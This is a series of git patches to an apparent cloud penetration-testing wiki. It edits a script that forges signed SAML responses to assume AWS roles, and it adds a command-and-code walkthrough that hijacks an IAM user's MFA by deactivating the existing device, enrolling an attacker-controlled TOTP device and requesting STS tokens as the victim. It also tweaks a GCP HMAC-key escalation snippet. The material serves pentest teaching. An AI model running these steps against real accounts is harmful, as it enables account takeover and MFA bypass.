From 005ab237734db45bdb16310bc12b1d76932150ca Mon Sep 17 00:00:00 2001 From: Jaime Polop <117489620+JaimePolop@users.noreply.github.com> Date: Fri, 20 Feb 2026 14:10:28 +0100 Subject: [PATCH 1/4] Update README for IAM privilege escalation example --- .../aws-iam-privesc/README.md | 40 ++++++++++++------- 1 file changed, 25 insertions(+), 15 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 6a27223fa..3c0c9bb36 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -368,6 +368,7 @@ def _run(cmd: list[str]) -> str: def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, "key.pem") cert_path = os.path.join(tmpdir, "cert.pem") + _run( [ "openssl", @@ -383,26 +384,25 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: "3650", "-nodes", "-subj", - "/CN=attacker-idp", + "/CN=iam-lab-7-attacker", ] ) return key_path, cert_path def _pem_cert_to_b64(cert_pem: str) -> str: - lines: list[str] = [] + lines = [] for line in cert_pem.splitlines(): if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line: continue - line = line.strip() - if line: - lines.append(line) + if line.strip(): + lines.append(line.strip()) return "".join(lines) def make_metadata_xml(cert_b64: str) -> str: return f""" - + @@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str: - + """ @@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c response.set("Destination", "https://signin.aws.amazon.com/saml") issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) - issuer.text = "https://attacker.invalid/idp" + issuer.text = "https://iam-lab-7.attacker.invalid/idp" status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) @@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c assertion.set("IssueInstant", issue_instant.isoformat()) a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) - a_issuer.text = "https://attacker.invalid/idp" + a_issuer.text = "https://iam-lab-7.attacker.invalid/idp" subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) @@ -470,20 +470,30 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience")) audience.text = "https://signin.aws.amazon.com/saml" - attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement")) + authn_statement.set("AuthnInstant", issue_instant.isoformat()) + authn_statement.set("SessionIndex", str(uuid.uuid4())) - attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) + authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext")) + authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef")) + authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" + + attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + + attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute")) attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role") attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue")) attr_role_value.text = f"{role_arn},{principal_arn}" - attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) + attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute")) attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) - attr_session_value.text = "saml-session" + attr_session_value.text = "iam-lab-7-session" - key_bytes = open(key_pem, "rb").read() - cert_bytes = open(cert_pem, "rb").read() + with open(key_pem, "rb") as f: + key_bytes = f.read() + with open(cert_pem, "rb") as f: + cert_bytes = f.read() signer = XMLSigner( method=methods.enveloped, From 633b608c29beae55c6e4758b7c58dcd3a5464018 Mon Sep 17 00:00:00 2001 From: Jaime Polop <117489620+JaimePolop@users.noreply.github.com> Date: Fri, 20 Feb 2026 14:12:21 +0100 Subject: [PATCH 2/4] Update README.md --- .../aws-iam-privesc/README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 3c0c9bb36..532344b50 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -384,7 +384,7 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: "3650", "-nodes", "-subj", - "/CN=iam-lab-7-attacker", + "/CN=attacker-idp", ] ) return key_path, cert_path @@ -402,7 +402,7 @@ def _pem_cert_to_b64(cert_pem: str) -> str: def make_metadata_xml(cert_b64: str) -> str: return f""" - + @@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str: - + """ @@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c response.set("Destination", "https://signin.aws.amazon.com/saml") issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) - issuer.text = "https://iam-lab-7.attacker.invalid/idp" + issuer.text = "https://attacker-idp.attacker.invalid/idp" status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) @@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c assertion.set("IssueInstant", issue_instant.isoformat()) a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) - a_issuer.text = "https://iam-lab-7.attacker.invalid/idp" + a_issuer.text = "https://attacker-idp.attacker.invalid/idp" subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) @@ -488,7 +488,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute")) attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) - attr_session_value.text = "iam-lab-7-session" + attr_session_value.text = "attacker-idp" with open(key_pem, "rb") as f: key_bytes = f.read() From 0cfe8fc87dced0ad4bb9dd4b15d63bc8f3203ba7 Mon Sep 17 00:00:00 2001 From: Jaime Polop <117489620+JaimePolop@users.noreply.github.com> Date: Fri, 20 Feb 2026 16:28:54 +0100 Subject: [PATCH 3/4] Update README.md --- .../aws-iam-privesc/README.md | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 532344b50..2dd2cfa9a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -620,6 +620,82 @@ aws iam put-role-permissions-boundary \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` +### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken` +The attacker creates a virtual MFA device under their control and attaches it to the target IAM user, replacing or bypassing the victim’s original MFA. Using the seed of this attacker-controlled MFA, they generate valid one-time passwords and request an MFA-authenticated session token via STS. This allows the attacker to satisfy the MFA requirement and obtain temporary credentials as the victim, effectively completing the account takeover even though MFA is enforced. + +If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`): + +```bash +aws iam deactivate-mfa-device \ + --user-name TARGET_USER \ + --serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME +``` + +Create a new virtual MFA device (writes the seed to a file) + +```bash +aws iam create-virtual-mfa-device \ + --virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \ + --bootstrap-method Base32StringSeed \ + --outfile /tmp/mfa-seed.txt +``` + +Generate two consecutive TOTP codes from the seed file: + +```python +import base64, hmac, hashlib, struct, time + +seed = open("/tmp/mfa-seed.txt").read().strip() +seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8)) +key = base64.b32decode(seed, casefold=True) + +def totp(t): + counter = int(t / 30) + msg = struct.pack(">Q", counter) + h = hmac.new(key, msg, hashlib.sha1).digest() + o = h[-1] & 0x0F + code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000 + return f"{code:06d}" + +now = int(time.time()) +print(totp(now)) +print(totp(now + 30)) +``` + +Enable MFA device on the target user, replace MFA_SERIAL_ARN, CODE1, CODE2: + +```bash +aws iam enable-mfa-device \ + --user-name TARGET_USER \ + --serial-number MFA_SERIAL_ARN \ + --authentication-code1 CODE1 \ + --authentication-code2 CODE2 +``` + +Generate a current token code (for STS) +```python +import base64, hmac, hashlib, struct, time + +seed = open("/tmp/mfa-seed.txt").read().strip() +seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8)) +key = base64.b32decode(seed, casefold=True) + +counter = int(time.time() / 30) +msg = struct.pack(">Q", counter) +h = hmac.new(key, msg, hashlib.sha1).digest() +o = h[-1] & 0x0F +code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000 +print(f"{code:06d}") +``` + +Copy the printed value as TOKEN_CODE and request an MFA-backed session token (STS): + +```bash +aws sts get-session-token \ + --serial-number MFA_SERIAL_ARN \ + --token-code TOKEN_CODE +``` + ## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) From a05e50758b8e6f15877bfe7b788dcdccba517867 Mon Sep 17 00:00:00 2001 From: Jaime Polop <117489620+JaimePolop@users.noreply.github.com> Date: Mon, 23 Feb 2026 11:11:37 +0100 Subject: [PATCH 4/4] Update gcp-storage-privesc.md --- .../gcp-privilege-escalation/gcp-storage-privesc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md index b0872a07f..6de248df6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md @@ -99,7 +99,7 @@ gsutil hmac create # You might need to execute this inside a VM insta ## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly: PROJECT_ID = '$PROJECT_ID' -TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com" +TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com" ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN" import requests import json